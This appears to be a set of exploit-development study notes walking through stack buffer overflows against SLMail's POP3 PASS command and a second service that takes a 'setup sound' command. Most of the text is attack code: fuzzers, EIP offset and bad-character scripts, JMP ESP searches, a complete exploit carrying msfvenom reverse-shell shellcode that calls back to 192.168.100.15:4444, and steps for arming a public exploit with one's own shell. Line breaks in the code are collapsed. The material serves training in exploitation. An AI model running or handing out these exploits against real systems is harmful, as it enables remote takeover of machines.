Fuzzing involves sending malformed data into application input and watching for unexpected crashes, An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.
A crash would happen at 2700 bytes.
import socket,time# Create an array of buffers, from 100 to 6000, with increments of 200.crash ="\x41"*100while True: print "Fuzzing PASS with %s bytes"%len(crash) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.100.19',110)) s.recv(1024) s.send('USER username'+'\r\n') data = s.recv(1024) s.send('PASS '+ crash +'\r\n') data = s.recv(1024) s.close() time.sleep(2) crash = crash +"\x41"*200
Control EIP address
# Sending unique address/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700# Determine EIP address/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438# The location of EIP is 2606.
On counting those C’s, we notice that we have a total of 90 of them, not enough to contain a 350-400 byte payload. One easy way out of this is simply to try to increase our buffer length from 2700 bytes to 3300 bytes, and see if this results in a larger buffer space for our shellcode.
#!/usr/bin/pythonimport socket,timebadchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")#"\x00\x0a" are the bad characters.buffer="A"*2606+"B"*4+ badchars +"C"* (690-len(badchars))print "Fuzzing PASS with %s bytes"%len(buffer)s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=s.connect(('192.168.100.19',110))s.recv(1024)s.send('USER username'+'\r\n')data = s.recv(1024)s.send('PASS '+ buffer +'\r\n')data = s.recv(1024)s.close()
Jump To ESP Register
The most intuitive thing to do would be to try replacing the B’s that overwrite EIP with the address that pops up in the ESP register, at the time of the crash. However, as you should have noticed from the past few debugger restarts, the value of ESP changes, from crash to crash. Therefore, hardcoding a specific stack address would not provide a reliable way of getting to our buffer. This is because stack addresses change often.
# Use mona.py script!mona modules# Choose module that has no protection on it like SLMFC.dll/usr/share/metasploit-framework/tools/nasm_shell.rbjmp esp == FFE4# Then on mona.py script!mona find -s "\xFF\xE4"-m SLMFC.dll
Generate Shellcode
import socket,time# msfvenom -p windows/shell_reverse_tcp lhost=192.168.100.15 lport=4444 exitfunc=thread -f c -a x86 -b "\x00"shellcode = ("\xba\xc7\x1f\xbf\x73\xda\xc5\xd9\x74\x24\xf4\x58\x31\xc9\xb1""\x52\x31\x50\x12\x83\xe8\xfc\x03\x97\x11\x5d\x86\xeb\xc6\x23""\x69\x13\x17\x44\xe3\xf6\x26\x44\x97\x73\x18\x74\xd3\xd1\x95""\xff\xb1\xc1\x2e\x8d\x1d\xe6\x87\x38\x78\xc9\x18\x10\xb8\x48""\x9b\x6b\xed\xaa\xa2\xa3\xe0\xab\xe3\xde\x09\xf9\xbc\x95\xbc""\xed\xc9\xe0\x7c\x86\x82\xe5\x04\x7b\x52\x07\x24\x2a\xe8\x5e""\xe6\xcd\x3d\xeb\xaf\xd5\x22\xd6\x66\x6e\x90\xac\x78\xa6\xe8""\x4d\xd6\x87\xc4\xbf\x26\xc0\xe3\x5f\x5d\x38\x10\xdd\x66\xff""\x6a\x39\xe2\x1b\xcc\xca\x54\xc7\xec\x1f\x02\x8c\xe3\xd4\x40""\xca\xe7\xeb\x85\x61\x13\x67\x28\xa5\x95\x33\x0f\x61\xfd\xe0""\x2e\x30\x5b\x46\x4e\x22\x04\x37\xea\x29\xa9\x2c\x87\x70\xa6""\x81\xaa\x8a\x36\x8e\xbd\xf9\x04\x11\x16\x95\x24\xda\xb0\x62""\x4a\xf1\x05\xfc\xb5\xfa\x75\xd5\x71\xae\x25\x4d\x53\xcf\xad""\x8d\x5c\x1a\x61\xdd\xf2\xf5\xc2\x8d\xb2\xa5\xaa\xc7\x3c\x99""\xcb\xe8\x96\xb2\x66\x13\x71\x7d\xde\x7f\x8e\x15\x1d\x7f\x81""\xb9\xa8\x99\xcb\x51\xfd\x32\x64\xcb\xa4\xc8\x15\x14\x73\xb5""\x16\x9e\x70\x4a\xd8\x57\xfc\x58\x8d\x97\x4b\x02\x18\xa7\x61""\x2a\xc6\x3a\xee\xaa\x81\x26\xb9\xfd\xc6\x99\xb0\x6b\xfb\x80""\x6a\x89\x06\x54\x54\x09\xdd\xa5\x5b\x90\x90\x92\x7f\x82\x6c""\x1a\xc4\xf6\x20\x4d\x92\xa0\x86\x27\x54\x1a\x51\x9b\x3e\xca""\x24\xd7\x80\x8c\x28\x32\x77\x70\x98\xeb\xce\x8f\x15\x7c\xc7""\xe8\x4b\x1c\x28\x23\xc8\x3c\xcb\xe1\x25\xd5\x52\x60\x84\xb8""\x64\x5f\xcb\xc4\xe6\x55\xb4\x32\xf6\x1c\xb1\x7f\xb0\xcd\xcb""\x10\x55\xf1\x78\x10\x7c")buffer="A"*2606+"\x8f\x35\x4a\x5f"+"\x90"*32+ shellcodeprint "Fuzzing PASS with %s bytes"%len(buffer)s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=s.connect(('192.168.100.19',110))s.recv(1024)s.send('USER username'+'\r\n')data = s.recv(1024)s.send('PASS '+ buffer +'\r\n')data = s.recv(1024)s.close()
Fix Public Exploit
cp /usr/share/exploitdb/exploits/windows/remote/643.c ~/.1- Change return address to "\x8f\x35\x4a\x5f".#defineretadd"\x8f\x35\x4a\x5f"2- Change target IP -> 192.168.1.111. xs =conn("192.168.1.111");3- Replace shellcode with your own reverse shell.char shellcode[]=4- Change the buffer offsets.char*buffer =malloc(3000);memset(buffer,0x00,3000);memset(off,0x41,2606);memset(nop,0x90,13);5- Compile the code gcc 643.c -o 643
Fuzzing involves sending malformed data into application input and watching for unexpected crashes, An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.
A crash would happen after 4200 bytes, then we will try every single byte after that crash. The winning byte is 4379.
import socket,timehost ="127.0.0.1"crash ="\x41"*100while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data print "[*]Sending:",len(crash),"Bytes..." buffer ="\x11(setup sound "+ crash +"\x90\x00#" s.send(buffer) s.close() print "[*]Payload Sent !" print "##############################" time.sleep(0.5) crash = crash +"\x41"*200
Control EIP Address
# Sending unique address/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379# Determine EIP address/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 46367046# The location of EIP is 4368.
At the time of the crash, we once again check any registers that may help us easily reach our buffer. In this case, the EAX register seems to point to the beginning of our buffer, including the setup sound string. The fact that EAX does not point directly into our buffer may impact our ability to simply jump to EAX, as we would be executing the opcode equivalent of the string "setup sound" before our shellcode, which would most probably mangle the execution path, and cause our exploit to fail.
Further examination of the actual opcodes produced by the "setup" string, it seems that the opcode instructions s and e (the two first letters of the word “setup”) translate to a "conditional jump" instruction, which seems to jump to a nearby location in our user controlled buffer. The next two letters of the word setup, t and u, translate to a slightly different conditional jump. All these jumps seem to be leading into our user controlled buffer. A jump to EAX might actually work for us in this case.
Continuing our analysis, it looks like the ESP register points toward the start of our C buffer, at the time of the crash, giving us only a few bytes of shellcode space to work with. Unlike the previous SLMail buffer overflow, increasing the buffer length of the "setup sound" string causes the application to crash differently.
However, all is not lost. We can still use the few bytes pointed at by the ESP register "7 bytes", during the crash, to create a first stage shellcode, which will move the EAX register to the beginning of the buffer of A’s, skipping over the string "setup sound".
To do this, our first stage shellcode would need to add 12 bytes to the EAX register, and then jump to EAX. Let’s see what the opcode for this first stage shellcode would be.
import sockethost ="127.0.0.1"badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")#\x00,\x20 are bad characters.crash ="\x41"* (4368-len(badchars)) + badchars +"B"*4+"C"*7buffer ="\x11(setup sound "+ crash +"\x90\x00#"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))data = s.recv(1024)print datas.send(buffer)s.close()print "[*]Payload Sent !"
Jump To ESP Register
Now that we know that we want to reach the buffer pointed to by the ESP register, we need to find an instruction, such as JMP ESP, which will take us to the address pointed to by the ESP register. Evans Debugger has an easy opcode search feature, which makes this task easy.